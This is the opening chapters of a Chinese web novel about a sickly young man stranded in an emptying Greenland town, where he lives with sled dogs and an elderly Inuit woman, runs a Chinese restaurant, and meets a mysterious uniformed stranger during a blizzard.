《在格陵兰岛苟到世界终结》
1. 格陵兰
极地的空气是没有气味的。
这是闵疏来到了格陵兰后才知道的事。
零下二十几度的空气足以让气味因子释放和传播放慢到近乎停止,空气干净到了空白的地步,只余下冰雪的冷意
闵疏吸了吸鼻子,鼻腔中涌入一股冰冷的气体。
他迟了半秒才感觉到自己鼻梁上褶皱的皮肤,触觉非常麻木,像是被藏在冰柜最底层冻结实了、怎么舔都化不开的冰淇淋。
闵疏又皱了皱鼻子,尽量让自己的五官不那么僵硬,随即再次将脚插进了积雪之中。
今天是个大晴天,天空万里无云,阳光洒在冰原上,目之所及处都是白茫茫的一片。
雪地纯白,冰壁微蓝,闵疏深一脚浅一脚地绕过一座小冰山,一抬眼就被辽阔到看不见尽头的雪色闪瞎了眼。
闵疏下意识地想掏出他的太阳眼镜,虽然它断了条腿儿右镜片还碎了,但好歹能挡一点儿光,让他不至于被闪瞎。
结果他只摸到了自己被冻得硬邦邦的裤腿。
闵疏:“……操。”
居然忘记带了。闵疏’啧’了一声,抬起头,眯了眯眼,算了,瞎了就瞎了,反正他家里还有导盲犬——五只天天嗷嗷叫的阿拉斯加。
也没心思管家里那五只傻狗到底能不能导盲,闵疏再次抽出自己的腿,往雪地里踩进去。
今天,他要步行到离小镇三公里远的港口去。
说是港口,其实那只不过是一个小海湾,水面上终日飘着浮冰,只能承载小型的渔船和客轮。若是想从小镇往岛上的其他城市走,就得从这个港口走水路。
几个月前,他的邻居纳努克一家就是从这里出发,去了几十海里以外的城市。临行前,纳努克一家将照看屋子的任务和五只哈士奇犬都托付给了他,从此一去不返。
每隔上几天,闵疏就回来港口看一看纳努克一家回来了没有,每一次都无功而返。
今天也一样。
闵疏扶着冰壳,望向蔚蓝的海湾。
今日无风,海面很平静,薄荷蓝的浮冰飘在水面上,没有纳努克一家红色的渔船。
闵疏微微喘息着,眼前雪白的冰层一直延续到海岸近处,在离开海水几米才堪堪露出黑色的岩石,数十尾肥美的海豹侧躺在上面,懒洋洋地享受岛上罕见的阳光,画面美丽得如同童话。
世界尽头,极地格陵兰。
这个世界最大的岛国80%的国土面积都被冰层覆盖,大部分地区位于北极圈以内,生存条件极其恶劣,然而其独特而纯净的自然景观却吸引着世界各地的旅客,到这片冰冻之地朝圣。
然而再美丽的画面,连着看几千个日夜也看腻了。
闵疏望着海湾,缓缓吸了一口气,而后抬起头:
“我还要在这个鬼地方待多久啊啊啊啊啊啊——”
他真的要呆疯了!!
天天睁眼就是雪!就是冰!夏天零下十几、冬天零下几十!这破地方是人呆的吗??!
跟他相比,恐怕古代被流放去宁古塔的犯人都算是天天过着温暖如春的日子!
“我真的待不下去了了!” 闵疏发泄式地大喊,还嫌不解气,狠狠往脚下躲了几脚:“港口怎么还不开?!还要把我在这儿关多久啊?!!“
在辽阔的冰原上,闵疏的声音能传到很远很远。
岸边的海豹听见了,发出几声被打搅的肥豹们发出几声低吼,被警告了的闵疏缩了缩脖子,搓着手向海豹们道歉:
“打扰你们午睡了,不好意思,真不好意思——”
海豹像是听懂了似得,将扭过来看他的脑袋啪叽一声放回了岩石上,粗壮的尾巴在地上拍打几下,继续躺尸了。
闵疏松了口气,低下头,拿手摸了摸有点发闷的胸口,刚刚喊那两下给他喊累了。他生下来就贫血,刚才在雪地里跋涉了三公里路,本来就头脑发昏,喊这几声差点没把他干趴下。
更扎心的是,正当闵疏撑着膝盖眼前发黑时,他注意到了脚下完整而通透的蓝色冰面。
刚刚他蹦跶那两下在冰面上连一点儿划痕都没留下。
闵疏登时哽住,他估计自己这小身板儿跳脚看起来就像是只小蚂蚱在冰原上蹦来蹦去,破坏力连海豹甩甩尾巴都不如。
想到这儿,闵疏忽然就泄了气。他有点儿站不住,索性一屁股坐在了地上,准备休息一下。
他身边正好有一只海豹,是只刚出生的小海豹,身上还是白色的绒毛。当闵疏在它身边坐下来时,小海豹哼哼了两声,没有躲开,甚至还向人类的方向蛄蛹了两下。
“嗯?” 闵疏扭过头,顺手在小海豹身上摸了两把,声音自然而然地夹了起来:“小乖乖,你怎么来啦?”
小海豹也不躲,两个黑葡萄似得眼睛瞅着他,小鼻子嗡动着。
闵疏一下就被可爱到了,干脆将小海豹掳到了身上,放在胸口抱着。
他在岛上这些年时不时就要来港口一趟,都跟这些海豹混熟了。按理来说这些海豹是岛上因纽特人的猎物,是该非常警惕人类的。但不知是因为近几年岛上的人越来越少,还是闵疏太瘦弱了看起来完全没有威胁,这些海豹从来都是无视他。
在闵疏跟小海豹贴贴时,成年海豹照样吃喝打屁,似乎是默认了他可以和幼崽们呆在一起。
“小乖乖,你怎么这么可爱啊?”
闵疏和小海豹碰了碰鼻子,海豹丰厚的皮下脂肪让他们能在严寒中保持体温,抱着就像个圆鼓鼓的热水袋。
闵疏干脆躺倒在了冰原上,望着头顶碧蓝如洗的天空,缓缓吐出一口气。
实际上,他也不知道自己在格陵兰待了「几年」。
一开始,他只是作为一名观光旅客来到了这座岛屿,结果因为错过航船滞留在了岛上,后来不知为何港口封闭了,闵疏在首都努克等了八个月,得来的只是封冻期一次次延长的消息。后来他实在是在努克蹲不下去了,干脆就来了个环岛旅行。
在旅行途中,闵疏爱上了这个东北部的安静小镇,想着一时半会儿也回不去,而且他估计也活不了太久了,所以干脆就在这儿定居了下来。
结果这一住,就是不知道多少年。
小镇上没有信号,也没有网络,只能收听几个固定的播音台,是个与世隔绝的世外桃源,一开始正合了闵疏避世的心。他心想着反正可能自己也没几年好活了,就在这个世界尽头的边陲小镇安静死去也不错。
闵疏是孤儿,养育他长大的孤儿院前年也拆除了,所以没什么’落叶归根’的想法。
生物父母抛弃他的理由显而易见,闵疏一出生就伴有多种基因缺陷和免疫系统疾病,贫血,肺部发育不全,消化系统也不太好,孤儿院别的小孩儿都能跑能跳了,他还病歪歪地躺在床上,吃
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个饭都要人扶,浑身的骨头都是软的。
所以闵疏不曾对自己被抛弃的事心生怨怼,谁都希望生下一个健康的孩子,他还算幸运,好歹是病歪歪地长大了,而且脑子还不错,从孤儿院一路考上了所还不错的大学。
他入学之后,生物意义上的父母不知从哪里听到了消息,还送了一笔钱来,也不知是出于愧疚想要补偿还是别的什么。
闵疏对此没有什么特殊的感觉,不过钱他还是喜欢的。他将这笔’补偿金’当做旅行基金存了下来,在读大学时想办法用兼职的工资和奖学金解决了补贴和食宿,终于在21岁这年踏上了人生第一次旅行——利用交换项目来到了地球北部的加国,后来又到了格陵兰岛……
不过现在他肯定是毕业不了了。闵疏想道。
滞留在小镇的这些日子,他一开始是靠挂历计算时间,后来小镇上的居民因为日益严寒的天气纷纷离开,镇上的商店也倒闭了,闵疏就开始在墙上画线。最后整整一堵墙都画满了,他还呆在岛上。
后来闵疏就懒得再计数了,没得糟蹋了他的房子。
所以他也不知道这是在岛上的第几年。只模糊地知道肯定在五年以上了。
我不会都三十岁了吧?
闵疏突然想到,登时犹如被雷劈了一般打了个冷颤。
小海豹似是感受到了他的惊恐,在他胸口拱了供,哼唧了两声。
闵疏安抚般地撸了两下豹豹,一想到他有可能已经三十岁了,还没拿到大学文凭,就有点受打击——但是这也怪不得他,他是没觉得能活这么久的,但这不是死不了吗!
闵疏摇了摇头,叹了口气:“身不由己啊!“
这话要是被以前孤儿院照顾闵疏的张阿姨听到了,一定会跳起来给他背上来一下:‘人家都想着怎么活,就你天天想着死!你可争气点儿吧你!’
这个时候,闵疏会笑嘻嘻地说:‘多想想就不可怕了嘛。’
听了这话,张阿姨就会抱住他,再摸一摸他的脑袋。
闵疏眼前出现女人平凡却慈爱的面孔,心里有些发酸,也不知张阿姨怎么样了,会不会担心他。
他抱着小海豹在冰原上躺了一会儿,缓过劲儿来,又吃了几块冻鱼干,觉得体力恢复了些许,便站起来准备往回走了。
入秋之后,岛上的日照时间越来越短,他得趁着天黑之前回家。
说是入秋,其实格陵兰只有冬夏两个季节,只是闵疏习惯这么称呼罢了。
位于地球末端的格陵兰岛终年大部分时间上都处于极昼或极夜之中,五月至八月是极昼,太阳终日不落,紧接着九月至次年三月,太阳基本不会出现。
要是按照日生而起,日落而息的作息,那格陵兰岛人要么不睡,要么一睡就是一天。
连闹钟都省了,挺好。
闵疏走到一半时,冰原上刮起了大风,闵疏不得不拿出北极熊毛皮制成的毛毡帽带上,又用围巾捂住口鼻,整个人只露出一双眼睛。
他深一脚、浅一脚地在雪地里走着,今天还算好,积雪只到膝盖。
闵疏艰难地抽出自己的腿,再放进去,结果一个没站稳,被从后往前的一股巨风’啪’地一下拍到了雪地上。
瘦弱的青年跟片纸人没什么两样,直接跟雪地粘上了。
整张脸都埋进雪里的闵疏:……
他真的受够了!!
2. 伊苏阿
直到天空变成了深蓝色,闵疏才到了家。
闵疏吭哧吭哧地走进小镇,说是小镇,其实他住的地方就是个因纽特人聚集的小村落,总共就三十口人家。格陵兰岛上基本没有植物,为了给这个除了雪还是雪的地方添上一点儿亮色,居民们的小木屋大多会涂成鲜艳的彩色。
蓝色,橙色,黄色等等五颜六色的小房屋坐落在一座小山坡上,屋檐覆盖着薄薄的积雪,背后是深蓝色的天空,美得像幅油画。
只可惜房屋的窗户里都是黑漆漆的一片。
纳努克一家是小镇上除闵疏以外最后的家庭,由于近年来天气变得格外寒冷,其他人在这几年都陆陆续续离开的小镇。向气候更加温暖的格陵兰岛南部迁移,有的是去其他城市投奔亲友,有的是去首都努克做买卖,都无一例外地再没有回来。
闵疏不知道到底发生了什么,并且隐隐感觉有些不对劲。但小镇这几年确实越来越不景气,不仅没有医院学校,连最基本的暖和电都快供不上了,如果不是闵疏这种佛系等死的人,呆在这儿确实不是长久之计。
闵疏看着空旷无人的小镇,叹了口气,往山坡上唯一的光源走去——
那是一栋通体红色的建筑,由一间小房子连带着一座塔楼组成。塔楼上有点掉漆,塔尖上有些突兀地挂了一个歪歪扭扭的灯牌,明晃晃地写着「中餐厅」三个大字。
不过有几截灯管被冻坏了,’中餐厅’现在变成了’中餐丁’。
不过现在也没客人,闵疏也就懒得去修了。
卖给他这座屋子的是小镇唯一的基督徒,本来是准备在小镇传教的,可惜这里的纯血因纽特人大多信仰古老的萨满教,因此他的传教非常不成功。
闵疏提出想在塔楼上挂上中餐馆的招牌时,基督徒原本很不愿意,但是在闵疏招待他吃了顿热腾腾的水煮鱼后小老头改变了注意,还亲手帮他将招牌挂了上去。
闵疏抬起已经冻僵的脚,艰难地埋过门口的雪堆,在早晨才铲过雪的地上终于可以加快脚步。他走进院子里,先是查看了一下门口被漆成大红色的邮筒,果然里头空空如也。
见状,闵疏叹了口气,倒也算不上失望,毕竟随着小镇人口的迁移,递信的邮差也有许久都未见过了。意外滞留在岛上之后,闵疏也为回国做了诸多努力,在签证快到期时还给最近的华国大使馆写了信,可惜信寄出去后就石沉大海,到现在都音讯全无。
闵疏其实已经不报什么希望了,查看邮筒只是习惯。他将邮筒关好,转身走向中餐厅的大门。
一拉开大门,屋内温热的暖气立刻扑面而来。
闵疏麻木的面皮终于得到了缓解,一把扯下围巾,张嘴就开始嚷嚷:
“婆婆,我回来啦!外面好冷好冷,我的腿都冻僵啦!“
他说的并不是中文,而是一种因纽特人的语言,这是他跟当代人学的。
塔楼里空间不算大,石制的墙壁内嵌着一个巨大的壁炉,前方铺了雪白的皮毛地毯——这曾经是一张完整的北极熊皮毛,是镇长依克离开前送给他的。地毯旁边是一把制作精巧的木制摇椅,上面坐着一位老妇人。
纵然在温暖的室内,她也穿着厚厚的皮毛衣物,裸露在外的皮肤是略深的黄色,手部和脸部的皮肤上都带着饱经风霜的沟壑,黑色的头发编成两只粗大的辫子,垂在妇人宽大的肩膀两侧。
妇人的名字是伊苏阿,在闵疏认识她时就已经八十多岁了,她的家人都早逝,自己一个人生活在小镇上,是闵疏中餐厅的常客,特别喜欢吃软嫩的蟹黄豆腐。
眼见着镇上的人越来越少,闵疏便干脆将婆婆接过来一起住。
见她似乎是睡着了,闵疏靠近了些:“婆婆,你睡着了吗?”
听到他的声音,妇人从昏睡中醒了过来,浑浊的眼睛缓缓睁开,看向了闵疏。
“啊——” 妇人的反应有些缓慢,细小的眼睛渐渐爬上笑纹:“闵,回来了?”
妇人虽然不说华文,却可以非常标准地说出「min」的发音。
“是啊婆婆,” 闵疏有点撒娇般地道:“我都被冻僵了!”
妇人用因伊努图克语说:“快把衣服脱下来,把裤子搭在火炉边,用毛巾擦一擦——”
闵疏依言走到里屋将裤子脱了下来,他穿了两条裤子,一条是当年上岛时斥巨资购买的羽绒裤,还有一条是因纽特人传统用于防寒的海豹皮裤子。在雪地里走了一转,两条裤子都已经冻地硬邦邦的了。等暖气将上面的雪融化,湿淋淋地贴在皮肤上会更冷。
闵疏快速将两条裤子都脱了下来,挂在了壁炉旁的架子上——火堆的热度可以快速将裤子烘干,同时还能软化被冻硬的海豹皮。
在缺乏取暖手段,在缝制衣物时纽因特妇女常常用牙齿软化皮毛,因此她们中的许多人的牙齿都会早早腐败掉落。伊苏阿婆婆的牙齿也不好,闵疏将衣服脱了,穿着轻薄的毛衣和家居裤走出来,向妇人问道:“婆婆,今晚我们吃烫饭吧?”
伊苏阿婆婆却没有回答她,而是将闵疏招至身前,伸手触摸他纤瘦的肩膀,嘴里说出一串伊努图克语。
“Surusikuluk,Surusikuluk”
她说着一串伊努图克语,闵疏听出了那是什么意思。
“可怜的孩子,” 妇人心疼地抚过青年瘦削的脊背:“可怜的孩子——”
闵疏有些无奈:“婆婆,我没事,别担心。”
他生下来就这么多病,身体自然发育得不好,骨架小,体重也过轻,不过好说歹说长到了177cm,闵疏已经很知足了。
不过他在亚洲人中都过于瘦弱的体格在世代与寒冷抗争的因纽特人眼里显然更显得可怜,闵疏的体型比因纽特族的一些成年妇女还要小上一圈,也难怪伊苏阿老是爱念叨。
“我真的没事,婆婆。” 闵疏扶着妇人往后边儿的餐厅走,一边走一边安慰她:“你看,我今天不还走到港口了吗?”
闻言,伊苏阿看了他一眼,又说出一串伊努图克语。她说得太快,闵疏没听懂,但是从表情中也能看出伊苏阿对到港口的那一小点儿路十分不屑。
闵疏:……
他忽然想到可以靠着几块冻鱼肉出海几天几夜最后带着鲨鱼回来的因纽特族男人,顿时沉默了,不得不承认他在这群可以肉身和北极熊搏斗的种族眼里比小鸟还脆弱。
闵疏将妇人扶到餐桌边,就转身去烫了一碗热腾腾的烫饭出来。
烫饭是用清淡口味的鱼汤煮的,里面加了咸肉丁,冷冻的豌豆玉米,和一些珍贵的绿叶蔬菜,一起小火煨得浓浓的,每一颗米粒都吸满了汤汁,变得香甜软糯,正合伊苏阿的胃口。闵疏还从地窖密封的泡菜坛里捞出了一小碟泡菜,将前一天吃剩
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下的虹鳟鱼煎了,凑成了一桌晚饭。
伊苏阿舀了一勺烫饭放进嘴里,立即露出了享受的表情。然而待她看向闵疏时,又嘟嘟囔囔了起来:
“你需要吃鱼。” 妇人一个劲将煎鱼肉推向闵疏:“吃鱼,对你的骨骼很好。”
闵疏很是无奈,优质蛋白是很好,但是他已经不长高很多年了。但他还是乖乖将鱼肉夹进了自己的碗里,正要习惯性地将鱼皮剥掉,伊苏阿立即嚷嚷起来:
“鱼皮也要吃。” 妇人道:“它们会帮助你长肉——”
闵疏很无奈:“好吧,婆婆。”
他只好把鱼皮也吃掉,闵疏知道生活在极寒的纽因特人对于脂肪的执着,在他刚来到小镇时。镇长一家用一种叫做Akutaq的美食招待他。
这种传统美食又被称为因纽特冰淇淋,是由鲸鱼脂肪和浆果制成的一种甜品。就算是在现代改进下添加了奶油和砂糖,这道90%由脂肪组成的甜品对于闵疏来说依旧算不上好吃。
相比之下,几片鱼皮不算什么。
见闵疏乖乖将鱼皮吃完了,伊苏阿露出了满意的微笑。
吃完晚饭后,闵疏扶着伊苏阿去休息。月光透过窗户洒在起居室内,黑色的夜空中没有任何光污染,几乎能够看到一整条银河。
闵疏盖着厚厚的被子躺在床上,星光洒在他的脸上。耳边是伊苏阿轻柔的歌声,唱着纽因特人古老的童谣。
闵疏逐渐生出了睡意,缓缓合上了眼睛,在彻底坠入睡眠之前,他听到自己问:
”……婆婆,大家都去哪了呢?都过得好吗?”
伊苏阿的歌声停下了。
过了一会儿,闵疏在神智逐渐模糊的时候,妇人温和的声音传来:
“我不知道,孩子。”
“但无论如何,祖神会保佑你。”
·
次日,闵疏早早地醒来。
今天又是个大晴天,闵疏准备撑着日头好去附近的村子上看看还有没有留在当地的居民。
因为没有客人,他的中餐厅都已经好长一段时间没开张了!
虽说现在没有船,没办法进货,钱赚了也花不出去,但闵疏还指望着能用美食换一些物资。什么盐啊糖啊,鱼获,保暖衣物什么的。
从小镇到最临近的村子也有十几公里远,闵疏只好启用了院子里养的五条雪橇犬,打算乘狗拉雪橇去。
“走!” 闵疏不太熟练地用伊努图克语对几只狗下令:“慢点,诶,走左边——”
狗狗们用大声吠叫回应他,闵疏听着狼嚎般的狗叫觉得自己耳朵都要震聋了,幸好雪原上一个人都没有,他至少不用担心扰民的问题。
可惜的是,他们才走到一半,天空中忽然下起了小雪。以闵疏的经验,这个季节的小雪很快就会变成漫天大雪,为了保险起见,他只好牵着几只雪橇犬掉头。
果然,在闵疏回到家时,整个镇子已经被大雪覆盖,能见度几乎为零。
“婆婆,我回来了!”
闵疏狼狈地抖落头上的雪,一边拍下身上的落雪一边往屋里走:
“走到一半忽然开始下雪,我们连一半儿路都没走到,也不知道这场雪会下多久——”
闵疏说着,却没能得到回应。他感到有些奇怪,一转过头,便见伊苏阿坐在摇椅中,头低垂着,已经没了声息。
3. 暴雪
壁炉里的火焰熊熊燃烧,橙黄的火光映在石壁上。
妇人的头低垂着,两条辫子垂在脸旁,双手放在膝盖上,似乎只是睡着了。
但闵疏却从她身上看到了死亡的气息。
孤儿院里有健康问题的孩子不少,有些孩子前一天还在跟他道晚安,第二天闵疏就会看见他们小小的身体被抬出去。
因此闵疏很善于辨认尸体。走近几步,小声说:“……婆婆?”
他走到壁炉边,伸出手,抚上妇人手——那里比湖边的浮冰还要冷。
在确认伊苏阿的死亡后,闵疏不再说话,伊苏阿已经听不见了,再开口也没有意义。
妇人坐在她心爱的摇椅上,神情很安详。
至少伊苏阿已经八十多岁,甚至已经九十岁了,这在任何国家都算是高寿了。闵疏这样想着,觉得自己好受了一些。
他的目光向下,看到了妇人放在膝上的双手,那双手的下方压着一小片布料,闵疏将它拿出来,看见那是一双手套。
手套很柔软,是珍贵的驯鹿皮缝制的。这块驯鹿皮还是数年前伊苏阿用一整块北极熊皮毛交换的。伊苏阿一直想用这块皮毛给他做点什么,一开始想做双靴子,但她年纪大了,精力不济,最后还是改做了一双手套。
而在今天,手套终于做好了。
闵疏握着那双手套,影子在火光下映射在石壁上,缓缓下降,最终在伊苏阿脚边缩成一团。
·
随着伊苏阿的去世,小镇上终于只余闵疏一人。
没了伊苏阿唱的因纽特摇篮曲,闵疏好几个晚上都没睡好。出门时也没人跟他告别,不再会有那句轻柔的「愿祖神保佑你」。
不过生活还是得继续,闵疏低沉了几天,便打起了精神,继续在小镇附近寻找也许还有人口的村落。
“一个一个来!”
闵疏站在院子里,正在给狗子们分发零食——美味的冻鱼片。
狗子们激动地上蹿下跳,一个个都扯着喉咙大声喊叫,吵得闵疏耳朵痛。
“别吼了!” 闵疏被吵烦了,沉下脸严肃地瞪着它们:“穆里克、给我让开!”
一只蹿在最前头的哈士奇被点了名,嚎叫变成了委屈的哼唧,皮毛丰厚的毛发的大脑袋低下了头,呜呜地退到了一边。
见它还委屈上了,闵疏有些哭笑不得,喂了大狗一片冻鱼肉,顺便摸了摸狗头:“你这么着急干什么?又不是不给你吃。”
大狗这时候不哼唧了,它忙着吃鱼。
闵疏接着将剩下的鱼片分给体型小一些的狗子。
一院子里的哈士奇都低头吃起鱼来,肥美的鲑鱼被切成一块块比成人手掌还要大的鱼片,在冰雪里冻得硬邦邦的。闵疏见它们将鱼片嚼得咔擦咔擦,光看着都觉得牙酸。
不过这些雪橇犬很强壮,它们早就习惯了冰天雪地里的生活,闵疏刚刚接手这些狗狗的时候穆里克还是只只有两个月大的幼崽,但已经可以直接睡在零下十几度的室外了。纽因特人一向将狗养在屋外,从小锻炼它们抵抗寒冷的能力,往往在雪地里挖个坑就是幼犬的窝了。闵疏看不下去,还用木板和布料在屋角边儿撘了个窝,不过等小狗长到他腰这么高时,窝也没狗睡了。
吃饱喝足,一人五只狗上了路。
在晴朗辽阔的雪原上,雪橇犬门撒欢地奔跑着,闵疏坐在雪橇上,伸手按着自己摇摇欲坠的帽子和墨镜:
“慢一点儿!慢一点儿!”
雪橇上只有一个体重过轻的人,又没有货物,他都要飞起来了!
五只狗子拔足狂奔,拉体重过轻的闵疏跟玩儿似得,不到中午他们就来到了离小镇最近的村庄。然而让闵疏失望的是,这是个空村,人们都离开了,冰原上只余空房和几座冰屋。
由于疏于打理,整个村子基本上都被积雪覆盖,一些房屋已经被压塌了,不难想象再过不久,这个村子就会彻底消失在冰雪之中。
闵疏只能失望而返。
这天唯一的幸运的事,是闵疏前脚刚回家,后脚天空就下起了大雪。
闵疏一看,便知道这场雪一时半会儿停不了,赶忙去冰窖里拿了些食物进屋。
果然,大雪持续了一周后,依旧没有停止的痕迹。
莹白的大雪笼罩了小镇,很快,房屋墙壁的彩色成了窗外能看到的唯一色彩。没有摩天大楼的衬托,天空显得格外的近,沉黑的天幕宛如一块幕布般严丝合缝地笼罩在冰原上方。远方,巨大的冰山在波浪间沉浮,在夜晚化作一片片巨大而沉默的黑影。
逐渐沉入冬日的格陵兰逐渐褪去其童话般的外表,透露出极寒之地的冷肃。
到了第七日,岛上刮起了大风。
狂风与大雪让能见度近乎于零,自然在警告陆地上的所有活物,凛冬即将来临。
闵疏倒是没太被连日的大雪困扰,在岛上呆了这么多年,他差不多已经习惯了这种风雪交加的天气。厚实坚硬的石墙隔绝了风声,壁炉暖融融地烧着,闵疏穿着厚而柔软的毛衣,脚上套着柔软的羊毛袜子,正在厨房里做饭。
他先是用鱼骨和鱼肉炖出了一锅暖暖的鱼汤,又将几个在冰窖里冻得硬硬的大馒头拿来蒸了,又拿了一整排羊肉做成了香煎羊排,岛上的蔬菜十分短缺,就用泡菜和土豆以及冷冻青豆凑数。
土豆增添了鱼汤浓厚的风味,用大白馒头沾满汤汁,吃着别提有多香了。小羊排用香料腌制入味,煎熟后撒上孜然辣椒粉,油脂混杂着各式香料味道滋滋作响,闻着就让人食指大动。
闵疏做菜的手艺是大学兼职在后厨帮工时跟酒楼主厨学的。之前他为了离开格陵兰岛,曾多次在首都努克和小镇之间往返,可惜每次得到的都是港口封闭的消息。在他最后一次离开努克时,城中一家华人超市的老板将店里的所有库存都送给了他。
“弟,这些都你拿去。” 操着一口东北腔的老板大哥对他道:“都是放不坏的,拿去慢慢吃,这破地方越来越冷,我们已经找好了人,准备包机回国了。”
闵疏听了,虽有些惊讶,但还是表示理解。格陵兰岛上近年来确实越来越冷,之前因为全球气候变暖而融化的冰盖全都长了回来,到了夏天也鲜少融化,几乎覆盖了以往在夏天还可以自然种植和畜牧的地区。也许也是因为这个,北方的居民都纷纷迁去岛了上相对温暖东南部。
闵疏自己也很想回国,无奈他包不起机。不过他得到了中超的全副身家,也算是幸运了,要不然现在连个辣羊排都没的吃。
闵疏左手拿着馒头,右手举着羊排,准备以一种维京人的姿态大快朵颐。把一桌的香香饭都吃光光!
然而事实上他只吃了一个馒头、啃了一根羊排就饱了。
吃得
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直打饱嗝的闵疏看着一桌的饭菜:……
闵疏喜欢做饭,但不太爱吃饭。
做的时候一腔热情,恨不得鼓捣出一桌满汉全席来,然而等真做了出来就眼大肚皮小,只吃几口就吃不下了。
所以闵疏特别喜欢投喂身边的朋友,大学那几个室友基本上是他一把炒饭一碗汤面喂大的,到了岛上,就干脆开起了中餐厅。每次见到小镇上的因纽特人被他的食物惊得瞪大眼睛,不断发出惊呼的样子,闵疏就觉得特别满足。
然而现在客人就只剩下他一个,闵疏坐在一桌美食前,罕见地感到了寂寞。
不过他很快振作了起来,有剩菜也没事,岛上这么温度放个好几天都没事,实在不行就便宜院子里的狗子了。
晚饭后,闵疏抱着毛茸茸的穆里克坐在壁炉旁的沙发上。说是抱,其实是狗子像座山一样坐在他面前,闵疏从后面环抱住它,将脸埋进狗狗丰厚的皮毛里。
可惜穆里克很快哼唧起来,偏过头用毛茸茸的爪子扒拉闵疏——它太热了。
闵疏只好放它回了院子里,转而打开了壁炉旁边的电视。老旧而厚重的电视闪了闪,发出一阵电流的滋滋声,不大的屏幕闪出雪花般的形状,最后才缓缓出现了画面。
屏幕中,两个穿着红色棉袄的人正在扭秧歌。
小镇上没有电视信号,闵疏播放的是几盘往年春节联欢晚会的录像带——也是他从华超老板哪儿继承来的。这些春晚录像闵疏都看过很多遍了,他熟练抓了包瓜子,拿起遥控板哔哔哔按了几下,将录像带快进到小品。
其实他都看得有点腻了,闵疏一边看着屏幕上的光头一边想,这个演员要说什么他都能背出来——
十分钟后。
“哈哈哈哈哈哈——”
响亮的笑声穿透风雪从屋中传出,墙角边儿趴着的几只雪橇犬竖起了毛茸茸的耳朵,抬起头向屋内看了一眼,又趴回了地上。
它们知道,主人现在很高兴,主人一高兴就会变得很吵。
屋内,闵疏笑得前仰后合,瓜子壳撒了一地。不知是他笑点太低还是以前的春晚小品太经典,闵疏是看一次笑一次,等一届春晚看完,他换了一盘磁带,娴熟地直接快进到小品,又开始笑得花枝乱颤。
外面的狗子都习惯了,面对主人称得上可怖的笑声一点儿反应都没有,趴在雪窝里一动不动。
闵疏一边看一边嗑瓜子,看到第四盘磁带时忽然脸色一变,拿起遥控板按了暂停。
不好,再笑下去要尿了。
闵疏赶忙站起来去后面的房间上厕所,上完了回到塔楼,便见窗户外头已经漆黑一片。
风雪似乎越来越大了,电视机的声音一停,闵疏就能听到屋外呜嚎的风声。风太大了,看出去连雪花的形状也看不清,只能看到白茫茫的一大片。
就在这时,屋外忽然响起犬吠。
哈士奇的嗓门很大,闵疏吓了一大跳,赶忙走出去看:
“怎么了怎么了?”
一出院子,他便见院子里的三只哈士奇和两只阿拉斯加不知什么时候都站了起来,聚拢在院门前,正冲着风雪吠叫。
闵疏抬起头,向风雪中望去。
刚开始他几乎什么都看不见,过了一会儿,闵疏才隐约自风雪之中看到了一抹黑影,突兀地直立在雪原上,正在朝他们的方向靠拢。
4. 魏长川
在看清黑影后,闵疏吓了一大跳。
无他,只是在这个时间,这个天气下岛上能出现活物实在是出人意料。
不会是北极熊吧?
但很快,闵疏就发现那不是熊,因为风雪的黑影离得越来越近,逐渐从一个黑点变成了一个长条形——很显然,这不会是四脚着地的北极熊。
看着那道窄长的黑影穿过风雪,闵疏皱起眉:
“怎么……像是个人啊?”
闵疏喃喃自语道,随即悚然一惊。
如果那是个人,是谁在暴风雪天还在外面走?就算是因纽特人在这种天气里也只会呆在家里,难不成是有人迷路了?闵疏有些疑惑。
就在这时,黑影穿过了风雪。
灰白的雪雾被破开,一个人从中走了出来。
那是个浑身漆黑的男人,穿着一身类似军装的制服,低着头,军帽遮住了面孔,只露出他苍白的下颌。
闵疏再次感到了怪异——格陵兰岛上并没有军队,警察的制服也不是黑色。
男人似乎并没有被吠叫的五只大狗惊扰,他在犬吠中抬起手,皮毛披风被他抛至身后,上面薄薄的一层冰雪随之落下。
他抬起头,向塔楼上的光源望去,接着忽然愣住了。
“好了好了,别叫了、别叫了!”
闵疏正忙着让狗狗们安静下来,哈士奇犬们不情不愿地闭了嘴,委委屈屈地呜咽者。闵疏安抚般地摸了摸毛茸茸的狗头,抬起头,便见那个男人正抬头看着他的招牌,一动不动。
“……你好。” 闵疏尝试用伊努克图语和他打招呼:“请问您是谁?是来吃饭的吗?”
这时,男人才像是注意到了他,收回了望向塔楼的目光,回过头。
闵疏看见他黑色的眼睛,男人没说话,轮廓鲜明的脸上没有表情。闵疏有点紧张,心里嘀咕他是不是没听懂。
就在他愣神的这几秒,男人似乎看出了什么,凝视他两秒后再次开口:“你是华国人?”
闵疏又是一愣,接着大大地松了一口气,急忙点头:“对对对,哥,你也是华国人?早说啊!我还以为你是当地人呢!”
既然是一国人,闵疏就放松多了,他将狗子们打发着坐下,热情道:“哥你这是从哪儿来的啊?这么大的雪,可冻坏了吧?快进来坐坐。”
男人沉默地听着他说话,等他说完,又顿了一会儿,才开口道:“这儿不是灯塔?”
“灯塔?”
闵疏又是一愣,接着抬头看了看塔楼,便见「中餐厅」的招牌高高悬在塔楼上,光芒在风雪中显得很模糊——从远处看还真是像个灯塔。
“哦哦,不是的。“ 闵疏解释道:”我这儿是中餐厅。“
闻言,男人再次陷入沉默。
闵疏从他的沉默里读出一点疑惑的意味,’嘿嘿’笑了两声,打趣道:
“哥你没想到这儿还有中餐厅吧,哈哈,这就叫商业蓝海!”
男人没有搭理他,闵疏有点尴尬,搓了搓自己出来这几分钟就已经被冻红了的手,将脖子往毛衣领里缩了缩:“哥,这外边儿怪冷的,你先进来吧,我不收你的钱。”
闻言,男人才终于动了。他抬头看了闵疏一眼,又低下去,抬脚走进了院子。
随着男人的靠近,闵疏不自觉地抬起头。
待人走到面前,闵疏才意识到这个男人异于常人的高——他看起来最少有一米八五,直逼一米九,闵疏不得不贴着门框让他进去。
闵疏跟在他后面把门关上:
“哥你有多高啊?” 闵疏羡慕地看着男人平直而宽阔的肩线:“至少得有一米八五吧?”
走在他前头的男人回过头,没有回答他的话,而是忽然拿出了什么东西。
“滴滴。“
清脆的机械提示音响起。
闵疏只感觉什么东西在他眼前晃了一下,接着被男人收了回去。
闵疏眨了眨眼,看过去,便见那是个类似于额温枪的东西,背后有一个小小的屏幕,上面显示着数字’0’。
闵疏倒是没有吓到,只是疑惑地摸了摸自己的额头:“哥,我没发烧。”
男人没有回应他,而是凝视着屏幕上的数字。他顿了半秒,接着宛若变戏法般将东西收了起来,抬头看向闵疏:
“你的名字。”
